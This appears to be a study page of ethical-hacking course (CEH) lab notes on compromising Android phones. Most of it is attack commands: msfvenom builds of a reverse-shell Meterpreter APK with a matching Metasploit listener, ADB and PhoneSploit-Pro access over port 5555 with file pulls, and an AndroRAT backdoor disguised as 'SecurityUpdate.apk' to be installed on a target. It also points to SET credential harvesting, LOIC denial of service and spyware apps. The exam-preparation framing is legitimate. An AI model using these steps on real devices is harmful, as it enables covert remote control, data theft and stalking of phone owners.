# 1. Hack Android Devices

{% embed url="<https://rumble.com/embed/v6jz0yu/?pub=4jw86f>" %}
Mobile Hacking tutorial - CEH Ilabs Walkthrough
{% endembed %}

## <mark style="color:red;">1. Hack Android devices with binary payload msfvenom</mark>

Create payload

```
msfvenom –p android/meterpreter/reverse_tcp LHOST=Localhost IP  LPORT=LocalPort -f raw > android_shell.apk
msfvenom –p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=Localhost IP  LPORT=LocalPort R > android_shell.apk
```

Open multihandler and set the payload as following

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2Fjx7grBa2UjNQKhKNW7w3%2Fimage.png?alt=media&#x26;token=a53b1d2f-7251-4401-b17d-d6f11fde2a7f" alt=""><figcaption></figcaption></figure>

```
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <your-ip-address>
set LPORT 4444
exploit
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FAUCO9ykN8NpufNV7q7uB%2Fimage.png?alt=media&#x26;token=fa023777-66ed-46ba-9db8-cea994d47d2b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FPSVic5JdwByTgCada9j3%2Fimage.png?alt=media&#x26;token=5c3be38a-5ff9-427d-bce2-ae477a19cdf9" alt=""><figcaption></figcaption></figure>

After getting the shell

```
pwd
cd /sdcard
ps
```

## <mark style="color:red;">2. Harvest credentials using SET</mark>

Refer to SET tutorial to capture the credentials

## <mark style="color:red;">3. DOS using LOIC on Android</mark>

LOIC apk available. Use that

## 4. Exploit the Android Platform through ADB using PhoneSploit-Pro

Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device. ADB facilitates a variety of device actions such as installing and debugging apps, and provides access to a Unix shell that you can use to run several different commands on a device.

Usually, developers connect to ADB on Android devices by using a USB cable, but it is also possible to do so wirelessly by enabling a daemon server at TCP port 5555 on the device.

{% embed url="<https://github.com/AzeemIdrisi/PhoneSploit-Pro>" %}

{% embed url="<https://n00bie.medium.com/hacking-android-using-phonesploit-ffbb2a899e6>" %}

**Installation**

```
git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git
cd PhoneSploit-Pro/
pip install -r requirements.txt
python3 phonesploitpro.py
```

If adb not found error

```
sudo apt update
sudo apt install android-tools-adb android-tools-fastboot
```

To launch the tool, Use the following command

```
python3 phonesploitpro.py
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FAUGXqqjxPwKOWrX0KGA1%2Fimage.png?alt=media&#x26;token=3820dd5f-1721-4ea2-b2cd-4b369718a019" alt=""><figcaption></figcaption></figure>

The **PhoneSploit Pro** main menu options appear, as shown in the screenshot.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FWDsZFRh77zPBtYnDDbHb%2Fimage.png?alt=media&#x26;token=fbe15575-dcae-4dd6-998b-3dc859e8d2a6" alt=""><figcaption></figcaption></figure>

Type **1** and press **Enter** to select **1. Connect a Device** option.When prompted to **Enter a phones ip address**, type the target Android device’s IP address (in this case, **10.10.1.14**) and press **Enter**. If you are getting **Connection timed out** error, then type **1** again and press **Enter**. If you do not get any option, then type **1** and press **Enter** again, until you get **Enter a phones ip address** opti

You will see that the target **Android** device (in this case, **10.10.1.14**) is connected through port number **5555**.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FzMlDZlH7JIRjlOIY5TQh%2Fimage.png?alt=media&#x26;token=bed08fa8-5fc1-493b-ae2d-abcf480b1cbb" alt=""><figcaption></figcaption></figure>

Now, you can try different exploits

### Doing the same stuff with adb

```
apt-get update
sudo apt-get install adb -y
adb devices -l

# Connection Establish Steps
adb connect 192.168.0.4:5555
adb devices -l
adb shell  

# Download a File from Android using ADB tool
adb pull /sdcard/log.txt C:\Users\admin\Desktop\log.txt 
adb pull sdcard/log.txt /home/mmurphy/Desktop
```

{% embed url="<https://youtu.be/yP780oHz1jU>" %}

## 5. Hack android devices with AndroRAT

AndroRAT is a tool designed to give control of an Android system to a remote user and to retrieve information from it. AndroRAT is a client/server application developed in Java Android for the client side and the Server is in Python. AndroRAT provides a fully persistent backdoor to the target device as the app starts automatically on device boot up, it also obtains the current location, sim card details, IP address and MAC address of the device.

{% embed url="<https://github.com/karma9874/AndroRAT>" %}

You can move into the AndroRAT folder and then use the following command to create an APK file.

```
python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk
```

* **--build**: is used for building the APK
* **-i**: specifies the local IP address (here, **10.10.1.13**)
* **-p**: specifies the port number (here, **4444**)
* **-o**: specifies the output APK file (here, **SecurityUpdate.apk**)

An APK file (**SecurityUpdate.apk**) is generated at the location **/home/attacker/AndroRAT/**

Now, move the apk file to the target and use the following command to open a listener.

```
python3 androRAT.py --shell -i 0.0.0.0 -p 4444
```

* **--shell**: is used for getting the interpreter
* **-i**: specifies the IP address for listening (here, **0.0.0.0**)
* **-p**: specifies the port number (here, **4444**)

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FhwCYfyBW29r4xcutWvWB%2Fimage.png?alt=media&#x26;token=da302a48-fef6-471c-b550-35b19c3fbab3" alt=""><figcaption></figcaption></figure>

Install the malicious application on your target and you will get the shell.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FWzYPW59HTscXOA4Am1CK%2Fimage.png?alt=media&#x26;token=dbdc72ad-f616-4336-b69b-0dda08d27b23" alt=""><figcaption></figcaption></figure>

In the **Interpreter** session, type **help** and press **Enter** to view the available commands.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2Fm1CSpxqWPYOphT1AlrD4%2Fimage.png?alt=media&#x26;token=b84fc892-8c9a-4860-87a4-e4c793b9eec7" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">You can also use other Android hacking tools such as</mark> <mark style="color:green;"></mark><mark style="color:green;">**hxp\_photo\_eye**</mark> <mark style="color:green;"></mark><mark style="color:green;">(<https://github.com>),</mark> <mark style="color:green;"></mark><mark style="color:green;">**Gallery Eye**</mark> <mark style="color:green;"></mark><mark style="color:green;">(<https://github.com>),</mark> <mark style="color:green;"></mark><mark style="color:green;">**mSpy**</mark> <mark style="color:green;"></mark><mark style="color:green;">(<https://www.mspy.com>), and</mark> <mark style="color:green;"></mark><mark style="color:green;">**Hackingtoolkit**</mark> <mark style="color:green;"></mark><mark style="color:green;">(<https://github.com>) to hack Android devices.</mark>

### CEHv13 Preparation Course

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}